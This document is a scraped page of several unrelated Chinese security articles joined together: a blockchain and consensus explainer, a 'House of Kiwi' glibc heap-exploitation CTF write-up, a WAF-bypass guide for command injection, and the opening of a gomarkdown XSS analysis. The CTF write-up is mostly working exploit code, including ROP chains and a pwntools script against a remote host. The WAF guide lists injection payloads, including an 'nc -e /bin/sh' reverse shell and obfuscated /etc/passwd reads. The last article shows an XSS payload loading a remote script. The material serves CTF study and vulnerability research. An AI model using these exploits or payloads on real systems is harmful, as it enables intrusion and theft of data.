在了解区块链和分布式存储数据库的异同点后，我们可以知道无论是分布式存储数据库还是区块链，都需要去解决分布式中的问题；并且区块链还需要去解决它所特有的问题。所以我们以分布式存储数据库为基础，来帮助我们理解区块链中所涉及到的技术点。
### 0x03 分布式中的挑战
**1.FLP不可能原理**
对于分布式系统中的不确定性，Fischer、Lynch和Patterson三位科学家在1985年发表论文并提出FLP不可能原理：
**在网络可靠，但允许节点失效（即便只有一个）的最小化异步模型系统中，不存在一个可以解决一致性问题的确定性算法** 。
所以理论上不存在一个可以完美解决一致性问题的方法，但在工程应用中，我们可以选择牺牲部分特性，以换取一个可行的方案。
**2.CAP原理**
那么我们应该如何选择代价，来换取这个可行的方案呢？在 2000 年由 Eric Brewer 教授在 ACM 组织的一个研讨会上提出了 CAP 原理：
**分布式系统不可能同时确保以下三个特性：一致性(Consistency)、可用性(Availability)和分区容忍性(Partition)，设计中往往需要弱化对某个特性的保证**
。
根据 CAP
原理，我们就可以根据不同的需求，对三种特性进行抉择。如访问分布式的网站的静态内容，可以接受数据延迟更新，这是弱化了一致性；而在区块链中，即便牺牲性能也要保证只有一份公认的数据，这是弱化了可用性。
**3.拜占庭容错**
在分布式数据库中，节点之间是相互信任的、是忠诚的，它们可能会离线、宕机，但它们绝不会发送错误的消息；所以我们可以信任任意一个节点，分布式数据库常用「主从复制」实现一致性，也就是：从中选择一个节点作为主节点，其他节点从该节点复制数据，如果该节点出现故障，则重新选择新的主节点。
而在区块链中节点是自由的加入和退出的，可能会出现恶意节点：该节点可能会离线、宕机，并且会发送错误的消息来扰乱数据的一致性；这就是常说的拜占庭将军问题。
这是 20 世纪 80
年代提出的一个假想问题，描述的是：「一组拜占庭将军分别各率领一支军队共同围困一座城市，由于各支军队处于城市不同方向，所以他们只能通过信使进行联系；军队的行动策略限定为进攻或撤离两种，部分军队进攻部分军队撤离都可能会造成灾难性后果，因此各位将军必须通过投票来达成一致策略；每位将军都将自己投票信息通过信使通知其他将军，所以每位将军根据自己的投票和其他所有将军送来的信息就可以知道投票结果而决定行动策略」。
在上图中，由叛军发送错误的投票信息引起不一致的问题，称之为「拜占庭错误」，能够处理拜占庭错误的方法称为「拜占庭容错」(Byzantine Fault
Tolerance)。那么区块链中是如何解决的呢？
### 0x04 共识算法
**PBFT算法**
PBFT(Practical Byzantine Fault Tolerance) 算法的提出主要就是为了解决拜占庭错误。其算法的核心为三大阶段：
**pre-prepare阶段(预准备阶段)，prepare阶段(准备阶段)，commit阶段(提交阶段)** ，我们以下图来理解该算法。
其中 C 表示发起请求客户端，0123 表示服务节点，3 节点出现了故障，用 f 表示故障节点的个数。
1. C 向 0 节点发起请求
2. 0 节点广播该请求到其他服务节点
3. 节点在收到 pre-prepare 消息后，可以选择接受和拒绝该消息，接收该消息则广播 prepare 消息到其他服务节点
4. 当一个节点在 prepare 阶段并收到 2f 个 prepare 消息后，进入到 commit 阶段，广播 commit 消息到其他服务节点
5. 当一个节点在 commit 阶段并收到 2f+1 个 commit 消息后(包括它自己)，发送消息给 C 客户端
6. 当 C 客户端收到 f+1 个 reply 消息后，表示共识已经完成
(详细可以参考<http://pmg.csail.mit.edu/papers/osdi99.pdf>)
PBFT 中节点数必须满足 N >= 3f+1 这个关系，只要节点中的故障节点不超过 1/3 时，就可以完成共识确定一致性。由于 PBFT
算法的特性以及性能问题，所以其常用于小规模联盟链中。
**PoW算法**
比特币中使用 PoW(Proof of Work) 算法，即为工作量证明算法。其算法的核心为
**利用复杂的数学计算竞争一次添加区块的机会，结合「不利原则」，并仅认可最长的链为合法的链** 这一规则，完成节点共识。
在比特币中，PoW 的工作方式如下：
1. 用户发起交易，由节点广播交易至所有节点
2. 节点收到交易打包并将其放入块中
3. 某一节点计算出了哈希结果，获得添加区块的机会，将 2 中的块添加到区块链尾部，并广播区块至所有节点
4. 节点收到新的区块信息后，验证区块合法性，合法后将其添加到区块链尾部，并进入下一轮的竞争
通过 PoW 算法，比特币可以允许全网有 50% 的节点错误的情况下，依然能够完成共识。
* PoW 算法的实现
PoW 算法位于区块生成的模块中(挖矿)。我们先看看比特币的启动流程，比特币程序入口位于 `bitcoind.cpp`
下，通过这样的调用链启动比特币中的各项服务：
main()->AppInit()->AppInitMain()
其中包括 RPC 服务，在比特币中我们需要使用 `bitcoin-cli` 通过 RPC 服务启动挖坑，最终到
`rpc/mining.cpp/generateBlocks()` 这个区块生成主逻辑：
其中 `pow.cpp/CheckProofOfWork()` 函数进行了 PoW 算法的验证，主要是判断在当前 `nonce`
值的情况下，区块哈希值是否小于难度值：
**其他**
但由于 PoW 算法性能低下、而且会造成大量的算力浪费，大家纷纷提出新的共识算法，如
PoS(股权权益证明)、DPoS(委托权益人证明机制)，等等；但以比特币占据区块链项目的半壁江山来看，PoW 仍是目前用得最多的共识算法。
### 0x05 存储结构
在了解共识算法后，我们可以保证数据的一致性了，那么这些数据是如何在区块链中存储的呢？
**Merkle树**
在比特币中，使用 Merkle 树组织和存储一个块内的交易信息，它是一种基于哈希的二叉树(或多叉树)，其结构如下：
1. 叶子节点存储数据
2. 非叶子节点存储其子节点的内容的哈希值
使用 Merkle 树的优势所在：
1. 快速比较大量数据，比较根节点的哈希值即可知道两组数据是否相同
2. 快速定位修改，任何子节点的变动都会传递至根节点，从根节点向下检索即可找到修改的节点。
3. Merkle 树实现 在比特币中，Merkle 树的生成是挖矿步骤中的子步骤，跟入上文中的区块生成流程中的 `miner.cpp/IncrementExtraNonce()` 函数中，在该函数中调用 `consensus/merkle.cpp/BlockMerkleRoot()` 函数以构建 Merkle 树：
**哈希链**
在一个区块中，除了打包成Merkle树的交易信息，还包括块高度、随机数、时间等等信息，其中 **父块哈希值** 将各个区块联系起来，形成链式结构，如下：
* 哈希链实现
在比特币中，区块由区块头和 Merkle 交易树组成，区块头数据结构定义在 `primitives/block.h`，如下：
### 0x06 网络通信
那么在区块链中，各个节点之间是如何传递数据的呢？相对于分布式数据库 server-client 网络结构，采用主从复制的方式同步数据，区块链则是 peer-to-peer 的网络结构，节点在获取数据的同时，还需要提供数据给其他节点。
我们直接来看看比特币中 p2p 协议的实现方式。
* p2p 协议的实现方式
在比特币中，默认在 `8333` 端口建立 tcp 监听，启动 p2p 服务。在 `bitcoind` 启动流程的
`init.cpp/AppInitMain()` 中，对网络进行了初始化启动：
[init.cpp/AppInitMain()]
1.node.connman->Start()
启动节点入口，网络初始化和建立
[net.cpp/Start()]
2.InitBinds()
建立网络监听
3.AddOneShot()
添加种子节点
4.&TraceThread<>......
启动五个网络处理线程
p2p网络处理流程就由这五个线程进行负责：
其中负责 p2p 协议处理的线程就是 `ThreadMessageHandler()`
线程，我们主要来看看这一部分的流程；在该线程中尝试对每个节点接收数据，接收到数据就如下的调用流程：
[net_processing.cpp]
ProcessMessages()->ProcessMessage()
在 `ProcessMessages()` 对协议格式进行判断，比特币中 p2p 协议格式如下：
随后进入到 `ProcessMessage()` 进行实际的消息处理流程，在该函数中主要逻辑是多个 `if-else` 语句根据 `commmand`
进入不同的消息的处理流程，支持的消息有：
每个命令下都有不同报文格式和处理逻辑，比特币通过这样的方式，打通了节点间的通道。
### 0x07 总结
通过本文我们在脱离数字货币的情况下，从分布式数据库的角度，聊了些区块链中的几个技术点，了解到区块链与传统分布式的异同之处，也了解到区块链中的基本概念和原理。
区块链的去中心化、不可篡改性的特性，给我们提供了无限的遐想，但目前还没有公开的、完善的区块链项目出现，我们希望这一天能早点到来。
References:
1\. 《区块链技术指南》
2\. 《白话区块链》
3\. 《区块链原理、设计与应用》
4\. <https://bitcoin.org/bitcoin.pdf>
5\. <https://101blockchains.com/blockchain-vs-database-the-difference/>
6\. <https://groups.csail.mit.edu/tds/papers/Lynch/jacm85.pdf>
7\. <https://medium.com/ultrain-chain/the-difference-between-blockchain-and-a-distributed-database-556f8361e6b3>
8\. <http://pmg.csail.mit.edu/papers/osdi99.pdf>
9\. <https://github.com/bitcoin/bitcoin>
10\.
<https://zh.wikipedia.org/wiki/%E6%8B%9C%E5%8D%A0%E5%BA%AD%E5%B0%86%E5%86%9B%E9%97%AE%E9%A2%98>
11\. <https://www.zhihu.com/question/264717547>
* * * | 社区文章 |
# House OF Kiwi
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## House_OF_Kiwi
CTF的Pwn题里面,通常就会遇到一些加了沙盒的题目,这种加沙盒的题目,在2.29之后的堆题中,通常为以下两种方式
1. 劫持`__free_hook`,利用特定的gadget,将栈进行迁移
2. 劫持`__malloc_hook`为`setcontext+61`的gadget,以及劫持`IO_list_all`单链表中的指针在exit结束中,在`_IO_cleanup`函数会进行缓冲区的刷新,从而读取flag
因为`setcontext + 61`从2.29之后变为由RDX寄存器控制寄存器了,所以需要控制RDX寄存器的指向的位置的部分数据
<setcontext+61>: mov rsp,QWORD PTR [rdx+0xa0]
<setcontext+68>: mov rbx,QWORD PTR [rdx+0x80]
<setcontext+75>: mov rbp,QWORD PTR [rdx+0x78]
<setcontext+79>: mov r12,QWORD PTR [rdx+0x48]
<setcontext+83>: mov r13,QWORD PTR [rdx+0x50]
<setcontext+87>: mov r14,QWORD PTR [rdx+0x58]
<setcontext+91>: mov r15,QWORD PTR [rdx+0x60]
<setcontext+95>: test DWORD PTR fs:0x48,0x2
<setcontext+107>: je 0x7ffff7e31156 <setcontext+294>
->
<setcontext+294>: mov rcx,QWORD PTR [rdx+0xa8]
<setcontext+301>: push rcx
<setcontext+302>: mov rsi,QWORD PTR [rdx+0x70]
<setcontext+306>: mov rdi,QWORD PTR [rdx+0x68]
<setcontext+310>: mov rcx,QWORD PTR [rdx+0x98]
<setcontext+317>: mov r8,QWORD PTR [rdx+0x28]
<setcontext+321>: mov r9,QWORD PTR [rdx+0x30]
<setcontext+325>: mov rdx,QWORD PTR [rdx+0x88]
<setcontext+332>: xor eax,eax
<setcontext+334>: ret
### 缺点
但是如果将exit函数替换成`_exit`函数,最终结束的时候,则是进行了syscall来结束,并没有机会调用`_IO_cleanup`,若再将`__malloc_hook`和`__free_hook`给ban了,且在输入和输出都用read和write的情况下,无法hook且无法通过IO刷新缓冲区进行调用,这时候就涉及到ptmalloc源码里面了
### 使用场景
1. 能够触发`__malloc_assert`,通常是堆溢出导致
2. 能够任意写,修改`_IO_file_sync`和`IO_helper_jumps + 0xA0 and 0xA8`
#### __malloc_assert
* GLIBC 2.32/malloc.c:288
glibc中ptmalloc部分,从以前到现在都存在一个assret断言的问题,此处存在一个fflush(stderr)的函数调用,其中会调用`_IO_file_jumps`中的sync指针
static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
__progname, __progname[0] ? ": " : "",
file, line,
function ? function : "", function ? ": " : "",
assertion);
fflush (stderr);
abort ();
}
如何触发assert?在`_int_malloc`中存在一个 assert (chunk_main_arena
(bck->bk));位置可以触发,此外当`top_chunk`的大小不够分配时,则会进入sysmalloc中
* GLIBC 2.32/malloc.c:2394
......
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
......
此处会对top_chunk的`size|flags`进行assert判断
1. old_size >= 0x20;
2. old_top.prev_inuse = 0;
3. old_top页对齐
通过这里也可以触发assert
下面手动实现进入assert后,可以想到fflush和fxprintf都和IO有关,可能需要涉及IO,一步步调试看看可以发现在`fflush`函数中调用到了一个指针:位于`_IO_file_jumps`中的`_IO_file_sync`指针,且观察发现RDX寄存器的值为`IO_helper_jumps`指针,多次调试发现RDX始终是一个固定的地址
如果存在一个任意写,通过修改 `_IO_file_jumps + 0x60`的`_IO_file_sync`指针为`setcontext+61`
修改`IO_helper_jumps + 0xA0 and 0xA8`分别为可迁移的存放有ROP的位置和ret指令的gadget位置,则可以进行栈迁移
### Demo
一个简单的演示用的DEMO
// Ubuntu 20.04, GLIBC 2.32_Ubuntu2.2
//gcc demo.c -o main -z noexecstack -fstack-protector-all -pie -z now -masm=intel
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
#include <unistd.h>
#include <sys/prctl.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#define pop_rdi_ret libc_base + 0x000000000002858F
#define pop_rdx_r12 libc_base + 0x0000000000114161
#define pop_rsi_ret libc_base + 0x000000000002AC3F
#define pop_rax_ret libc_base + 0x0000000000045580
#define syscall_ret libc_base + 0x00000000000611EA
#define ret pop_rdi_ret+1
size_t libc_base;
size_t ROP[0x30];
char FLAG[0x100] = "./flag.txt\x00";
void sandbox()
{
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
struct sock_filter sfi[] ={
{0x20,0x00,0x00,0x00000004},
{0x15,0x00,0x05,0xC000003E},
{0x20,0x00,0x00,0x00000000},
{0x35,0x00,0x01,0x40000000},
{0x15,0x00,0x02,0xFFFFFFFF},
{0x15,0x01,0x00,0x0000003B},
{0x06,0x00,0x00,0x7FFF0000},
{0x06,0x00,0x00,0x00000000}
};
struct sock_fprog sfp = {8, sfi};
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &sfp);
}
void setROP()
{
uint32_t i = 0;
ROP[i++] = pop_rax_ret;
ROP[i++] = 2;
ROP[i++] = pop_rdi_ret;
ROP[i++] = (size_t)FLAG;
ROP[i++] = pop_rsi_ret;
ROP[i++] = 0;
ROP[i++] = syscall_ret;
ROP[i++] = pop_rdi_ret;
ROP[i++] = 3;
ROP[i++] = pop_rdx_r12;
ROP[i++] = 0x100;
ROP[i++] = 0;
ROP[i++] = pop_rsi_ret;
ROP[i++] = (size_t)(FLAG + 0x10);
ROP[i++] = (size_t)read;
ROP[i++] = pop_rdi_ret;
ROP[i++] = 1;
ROP[i++] = (size_t)write;
}
int main() {
setvbuf(stdin,0LL,2,0LL);
setvbuf(stdout,0LL,2,0LL);
setvbuf(stderr,0LL,2,0LL);
sandbox();
libc_base = ((size_t)setvbuf) - 0x81630;
printf("LIBC:\t%#lx\n",libc_base);
size_t magic_gadget = libc_base + 0x53030 + 61; // setcontext + 61
size_t IO_helper = libc_base + 0x1E48C0; // _IO_hel
per_jumps;
size_t SYNC = libc_base + 0x1E5520; // sync pointer in _IO_file_jumps
setROP();
*((size_t*)IO_helper + 0xA0/8) = ROP; // 设置rsp
*((size_t*)IO_helper + 0xA8/8) = ret; // 设置rcx 即 程序setcontext运行完后会首先调用的指令地址
*((size_t*)SYNC) = magic_gadget; // 设置fflush(stderr)中调用的指令地址
// 触发assert断言,通过large bin chunk的size中flag位修改,或者top chunk的inuse写0等方法可以触发assert
size_t *top_size = (size_t*)((char*)malloc(0x10) + 0x18);
*top_size = (*top_size)&0xFFE; // top_chunk size改小并将inuse写0,当top chunk不足的时候,会进入sysmalloc中,其中有个判断top_chunk的size中inuse位是否存在
malloc(0x1000); // 触发assert
_exit(-1);
}
### 实际利用
以NepCTF 2021年中NULL_FxCK为例
程序实现了一个简单的增删查改功能,在edit的时候存在一个`off by null`的漏洞利用,因为环境是GLIBC 2.32,其中tcache
chunk的fd进行了一个异或处理
所以此前通过`tcache bin`、`fastbin` 以及 `large bin`共同进行的`fake chunk`的伪造不可行,下面则是
* 仅large bin chunk的堆块伪造,并即可实现堆块重叠
* 并large bin attack 任意写攻击TLS结构体中的存放tcache结构体指针的位置,从而可以伪造tcache bin结构体进行任意构造
* 再通过上述demo任意写控制参数,从而在assert后即可进行栈迁移
from pwn import*
context.binary = './main'
def menu(ch):
p.sendlineafter('>> ',str(ch))
def New(size,content):
menu(1)
p.sendlineafter('Size: ',str(size))
p.sendafter('Content: ',content)
def Modify(index,content):
menu(2)
p.sendlineafter('Index: ',str(index))
p.sendafter('Content: ',content)
def Show(index):
menu(4)
p.sendlineafter('Index: ',str(index))
def Free(index):
menu(3)
p.sendlineafter('Index: ',str(index))
libc = ELF('./libc-2.32.so')
while True:
p = remote('node2.hackingfor.fun',38734)
try:
New(0x2000,'FMYY')
New(0x1000,'FMYY')
New(0x2000 - 0x2F0 - 0x600,'FMYY')
New(0x4F0,'FMYY') #3
New(0x108,'FMYY')
New(0x500,'FMYY') #5
New(0x108,'FMYY') #6 - 7 -8
New(0x108,'FMYY')
New(0x108,'FMYY')
New(0x510,'FMYY') #9
New(0x108,'FMYY')
New(0x4F0,'FMYY') #11
New(0x108,'FMYY') #12
Free(3)
Free(5)
Free(9)
New(0x2000,'FMYY')
Free(3)
New(0x500,'\x00'*8 + p64(0xE61)) # 3
New(0x4F0,'\x00'*8+ '\x10\x00') # 5
Free(11)
New(0x800,'FMYY') # 9
Free(9)
New(0x510,'\x10\x00') #9
New(0x4F0,'\x00'*0x20) #11
Modify(10,'\x00'*0x100 + p64(0xE60))
Free(11)
New(0x4F0,'FMYY') # to split the unsorted bin chunk
New(0x1000,'FMYY')
Show(6)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - 1648 - 0x10 - libc.sym['__malloc_hook']
log.info('LIBC:\t' + hex(libc_base))
Show(9)
heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x49F0
log.info('HEAP:\t' + hex(heap_base))
############################
SROP_address = heap_base + 0x79F0
magic = libc_base + 0x1EB538
main_arena = libc_base + libc.sym['__malloc_hook'] + 0x10
pop_rdi_ret = libc_base + 0x000000000002858F
pop_rdx_r12 = libc_base + 0x0000000000114161
pop_rsi_ret = libc_base + 0x000000000002AC3F
pop_rax_ret = libc_base + 0x0000000000045580
syscall_ret = libc_base + 0x00000000000611EA
malloc_hook = libc_base + libc.sym['__malloc_hook']
frame = SigreturnFrame()
frame.rsp = heap_base + 0x7A90 + 0x58
frame.rip = pop_rdi_ret + 1
Open = libc_base + libc.symbols["open"]
Read = libc_base + libc.symbols["read"]
Write = libc_base + libc.symbols['write']
orw = ''
orw += p64(pop_rax_ret) + p64(2)
orw += p64(pop_rdi_ret)+p64(heap_base + 0x7B78)
orw += p64(pop_rsi_ret)+p64(0)
orw += p64(syscall_ret)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rdx_r12) + p64(0x100) + p64(0)
orw += p64(pop_rsi_ret) + p64(heap_base + 0x10000)
orw += p64(Read)
orw += p64(pop_rdi_ret)+p64(1)
orw += p64(Write)
orw += './flag.txt\x00\x00'
IO_helper_jumps = libc_base + 0x1E38C0
###################################
New(0x130,'\x00'*0x108 + p64(0x4B1)) #14
New(0x440,'FMYY') #15
New(0x8B0,'\x00'*0x20 + p64(0x21)*8) #16
New(0x430,'FMYY') #17
New(0x108,'FMYY') #18
Free(15)
######
New(0x800,'FMYY')
Free(15)
######
Free(7)
New(0x4A0,'\x00'*0x28 + p64(0x451) + p64(main_arena + 1120)*2 + p64(heap_base + 0x6650) + p64(magic - 0x20))
Free(17)
New(0x800,str(frame) + orw)
Free(15)
New(0x430,'FMYY')
Free(7)
New(0x4A0,'\x00'*0x30 + '\x01'*0x90 + p64(libc_base + 0x1E54C0 + 0x60)*0x10 + p64(libc_base + 0x1E48C0 + 0xA0)*0x10)
Free(0)
Free(1)
New(0x108,p64(libc_base + libc.sym['setcontext'] + 61))
New(0x208,str(frame)[0xA0:])
menu(1)
p.sendafter('Size:',str(0x428))
break
except:
p.close()
p.interactive()
## 总结
主要是相对于之前的两种方法而言,运用要简单需要,平常喜欢IO的一些知识,偶然发现的,侵删; | 社区文章 |
# 如何通过移除前缀和后缀模式绕过严格的输入验证
|
##### 译文声明
本文是翻译文章，文章原作者 secjuice，文章来源：secjuice.com
原文地址：<https://www.secjuice.com/bypass-strict-input-validation-with-remove-suffix-and-prefix-pattern/>
译文仅供参考，具体内容表达以及含义原文为准。
## 写在前面的话
在这篇文章中，我们将跟大家介绍如何绕过目标Web应用程序上严格的输入验证，而这种验证机制将阻止我们向目标Web应用发送包含类似‘ ” ; : / &
|字符的远程代码执行Payload。
在近期的一篇文章中，我们介绍了如何使用Bash
Globbing模式来绕过输入验证，其中的一种方法就是使用Bash子字符串从从环境变量值中获取特殊字符，比如说：${PATH:0:1}通常等于/。通常，Web应用程序会在不支持Bash的服务器系统上运行，但Almquist
shell也会被视作是Dash或sh。Dash是无法对子字符串做类似${PATH:0:1}这样的事情的，但我们可以使用另外两种分别名为“移除前缀模式”和“移除后缀模式”的功能来实现我们的目的。具体情况需要根据PATH值来进行分析，如果PATH值以/usr开头，则${PATH%%u*}就应该等于/。如果你使用的是字符串范围语句的话，那么${PATH%%[a-z]*}也应该等于/。
## 关于Dash和Bash
Bash(GNU Bourne-Again
Shell)是许多Linux平台的内定Shell，事实上，还有许多传统UNIX上用的Shell，像tcsh、csh、ash、bsh、ksh等等。
GNU/Linux 操作系统中的 /bin/sh 本是 bash (Bourne-Again Shell) 的符号链接，但鉴于 bash 过于复杂，有人把
bash 从 NetBSD 移植到 Linux 并更名为 dash (Debian Almquist Shell)，并建议将 /bin/sh
指向它，以获得更快的脚本执行速度。Dash Shell 比 Bash Shell 小的多，符合POSIX标准。
Debian和Ubuntu中，/bin/sh默认已经指向dash，这是一个不同于bash的shell，它主要是为了执行脚本而出现，而不是交互，它速度更快，但功能相比bash要少很多，语法严格遵守POSIX标准。
语法上的主要的区别有:
1.定义函数
bash: function在bash中为关键字
dash: dash中没有function这个关键字
2.select var in list; do command; done
bash:支持
dash:不支持, 替代方法:采用while+read+case来实现
3\. echo {0..10}
bash:支持{n..m}展开
dash:不支持，替代方法, 采用seq外部命令
4\. here string
bash:支持here string
dash:不支持, 替代方法:可采用here documents
5\. >&word重定向标准输出和标准错误
bash: 当word为非数字时，>&word变成重定向标准错误和标准输出到文件word
dash: >&word, word不支持非数字, 替代方法: >word 2>&1; 常见用法 >/dev/null 2>&1
6\. 数组
bash: 支持数组, bash4支持关联数组
dash: 不支持数组，替代方法, 采用变量名+序号来实现类似的效果
7\. 子字符串扩展
bash: 支持${parameter:offset:length},${parameter:offset}
dash: 不支持， 替代方法:采用expr或cut外部命令代替
8\. 大小写转换
bash:
支持${parameter^pattern},${parameter^^pattern},${parameter,pattern},${parameter,,pattern}
dash: 不支持，替代方法:采用tr/sed/awk等外部命令转换
9\. 进程替换<(command), >(command)
bash: 支持进程替换
dash: 不支持, 替代方法, 通过临时文件中转
10\. [ string1 = string2 ] 和 [ string1 == string2 ]
bash: 支持两者
dash: 只支持=
11\. [[ 加强版test
bash: 支持[[ ]], 可实现正则匹配等强大功能
dash: 不支持[[ ]], 替代方法，采用外部命令
12\. for (( expr1 ; expr2 ; expr3 )) ; do list ; done
bash: 支持C语言格式的for循环
dash: 不支持该格式的for, 替代方法，用while+$((expression))实现
13\. let命令和((expression))
bash: 有内置命令let, 也支持((expression))方式
dash: 不支持，替代方法，采用$((expression))或者外部命令做计算
14\. $((expression))
bash: 支持id++,id–,++id,–id这样到表达式
dash: 不支持++,–, 替代方法:id+=1,id-=1, id=id+1,id=id-1
## 移除前缀和后缀模式
简单来说，这种技术是通过在变量名中使用%、%%、#或##，可以从左或右开始删除部分变量值。让我们举几个例子：
${parameter%word}：删除最小后缀模式。参数的扩展可以生成其他参数，然后与模式匹配的后缀最小部分将会被删除。
# TEST=”foo.bar.sample”; echo ${TEST%.*}
foo.bar
${parameter%%word}：删除最大后缀模式。参数的扩展可以生成其他参数，然后与模式匹配的后缀最大部分将会被删除。
# TEST=”foo.bar.sample”; echo ${TEST%%.*}
foo
${parameter#word}：删除最小前缀模式。参数的扩展可以生成其他参数，然后与模式匹配的前缀最小部分将会被删除。
# TEST=”foo.bar.sample”; echo ${TEST#*.}
bar.sample
${parameter##word}：删除最大前缀模式。参数的扩展可以生成其他参数，然后与模式匹配的前缀最大部分将会被删除。
# TEST=”foo.bar.sample”; echo ${TEST##*.}
sample
此语法的一个用例是更改文件名列表的扩展名。例如，如果我想重命名/etc/中的所有*.conf文件，将其扩展名改为.txt，我们就可以这样做：
for file in $(ls -1 /etc/*.conf); do echo ${file%.*}.txt; done
## 输入验证
在对客户应用程序中的一个远程代码执行漏洞进行测试时，我发现了一种方法来绕过他们的输入验证。
假设Web应用程序存在远程代码执行漏洞，可以导致任意代码执行，但其中的输入验证函数可以防止带有特殊字符的Payload执行，比如说[/”‘&|()-;:.,\s\t\n`]，而且还屏蔽了常见的Unix命令，比如说eval、bash、sh、nc、bas64等（很多Web应用防火墙都会这样做）。但是，如果Web应用程序允许$、{和}这样的字符存在的话，那我们就有很多种方法来绕过输入验证并利用远程代码执行漏洞了。
在这种情况下，下面的Payload都将会被屏蔽：
code=cat+/etc/passwd (匹配\s和/)
code=/bin/ca?+/e??/??ss?? (匹配\s和/)
code=cd${IFS}/etc;cat${IFS}passwd (匹配/)
code=nc+-e+/bin/sh+10.0.0.1+1234 (匹配\s – /和.)
那么，有没有可能创建一个Payload，它不需要像正斜杠、引号这样的字符，并且不会使用众所周知的Unix命令触发WAF呢？为此我专门创建了一个【[Challenge](https://github.com/theMiddleBlue/challenge-bypass-input-validation)】。其核心思想是从目标shell环境变量中获取特殊字符。例如，我们可以使用子字符串0:1（例如在Bash中使用${PATH:0:1}）从$PATH变量中获取值。
在上面的截图中，我们使用${PATH:0:1}替换了/，并使用${PATH:0:1}连接了/etc/passwd的完整路径。但问题是，一般的PHP
Shell都是Dash或/bin/sh，我们是无法使用这种子字符串语句来利用远程代码执行漏洞的。
在Dash中，我们可以使用“移除前缀模式”和“移除后缀模式”语句。比如说，针对目标PATH变量：
– ${PATH%%u*}应该等于 /
– ${PATH##*s????} 应该等于 /bin
– ${PATH%%[a-z]*} 应该等于 /
所以，为了获取etc/passwd内容，我使用了下列语句来绕过Web应用程序的输入验证机制：
cat${IFS}${PATH%%u*}etc${PATH%%u*}passwd
请记住：这个语句取决于目标PATH变量的值，如果/之后的第一个字母为“u”（比如说PATH=/usr/bin:…），那么${PATH%%u*}就应该为“/”。如果目标PATH以PATH=/home/themiddle/bin:…开头，那么${PATH%%h*}就应该为/。
现在的问题是，Payload中存在有“cat”、“etc”和“passwd”字符串，Web应用防火墙会因此屏蔽我的Payload。因此，我需要使用Globbing模式混淆我的Payload，但是我需要完整的路径来使用Globbing模式执行命令，比如/bin/c？？而不是“cat”。解决方案如下：
·执行env并查看所有的变量值；
·使用${PATH##*s????}从$PATH获取/bin；
·使用${PATH%%u*}从$PATH获取/；
·使用$IFS而不是空格；
code=${PATH##*s????}${PATH%%u*}c??${IFS}${PATH%%u*}e??${PATH%%u*}??ss??
我在我的命令行终端中测试一切正常，但我们需要确保在利用目标Web应用程序中的远程代码执行漏洞时也能一切正常。首先，我们需要检测到底哪一个变量是我们可以使用的：
我们可以看到，没有进行模糊处理的Payload会被Web应用程序的输入验证机制所屏蔽掉：
所以，我首先需要绕过的是基于“特殊字符”的过滤器。正如我所说的，在这个场景下，我们可以使用${PATH%%u*}和${IFS}来分别代替/和空格：
现在，我需要绕过基于常见Unix命令和路径的Web应用防火墙黑名单。正如你所看到的，我的Payload：cat${IFS}${PATH%%u*}etc${PATH%%u*}passwd被屏蔽了：
为了实现绕过，我可以使用Globbing模式来对Unix命令以及路径进行混淆处理，但我需要使用/bin/cat的完整路径来执行“cat”命令并将其模糊处理为/b??/c??。这样一来，我可以从${PATH##*s????}获取/bin：
现在，我想要通过下列语句来执行/b??/c?? /e??/??ss??：
${PATH##*s????}${PATH%%u*}c??${IFS}${PATH%%u*}e??${PATH%%u*}??ss??
我们还可以使用“未初始化”变量来对命令和路径进行混淆处理：
${PATH##*s????}${PATH%%u*}ca${u}t${IFS}${PATH%%u*}et${u}c${PATH%%u*}pas${u}swd
我可以通过从$PHP_CFLAGS变量的第一个字符获取“–”来执行更多复杂的命令，比如说bash -c。我可以发送下列Payload来执行/bin/bash
-c ls：
${PATH##*s????}${PATH%%u*}bas${u}h${IFS}${PHP_CFLAGS%%f*}c${IFS}l${u}s
如果是Bash，那就更加简单了
如果出于某种原因，目标应用程序使用的是Bash，那我们就可以使用子字符串语句来更加轻松地实现绕过了。比如说，/bi?/ca?
/et?/??sswd就会变成：
${PATH:0:1}bi?${PATH:0:1}ca?${IFS}${PATH:0:1}et?${PATH:0:1}??sswd
关于我发布的Challenge
第一名：
[kusky3](https://github.com/kusky3) (payload
tail${IFS}${APACHE_CONFDIR%${APACHE_CONFDIR#?}}et?${APACHE_CONFDIR%${APACHE_CONFDIR#?}}pas?wd)
第二名：
[Sparrrgh](https://twitter.com/Sparrrgh) (payload
c${a}at${IFS}${APACHE_CONFDIR%apache2}pas${s}swd)
第三名：
[DrV](https://twitter.com/BfB2_H) (payload
ca${jjj}t${IFS}${APACHE_RUN_DIR%???????????????}et${jjj}c${APACHE_RUN_DIR%???????????????}pas${jjj}swd)
第四名：
[glauco](https://www.linkedin.com/in/glauco-rampogna-824607135) (payload
c${u}at${IFS}${PHP_INI_DIR%%u*p}e${u}tc${PHP_INI_DIR%%u*p}p${u}asswd)
## 参考资料
1、<https://medium.com/secjuice/waf-evasion-techniques-718026d693d8>
2、<https://www.secjuice.com/web-application-firewall-waf-evasion/> | 社区文章 |
# gomarkdown/markdown 项目的 XSS 漏洞产生与分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
gomarkdown/markdown 是 Go 语言的一个流行模块，它旨在快速地将 Markdown 文档转化为 HTML
页面。而此次发现的漏洞，来源于作者在编写其语法树 Parser 的时候无意的一次 unescape。
## 漏洞复现
我们首先来看一段代码。
package main
import (
"fmt"
"github.com/gomarkdown/markdown"
"html"
)
func main() {
var textToRender = "```\"1;><script/src=\"http://HOST/xss.js\"></script>\n\n```\n"
var middleware = html.EscapeString(textToRender)
var result = markdown.ToHTML([]byte(middleware), nil, nil)
fmt.Println(string(result))
}
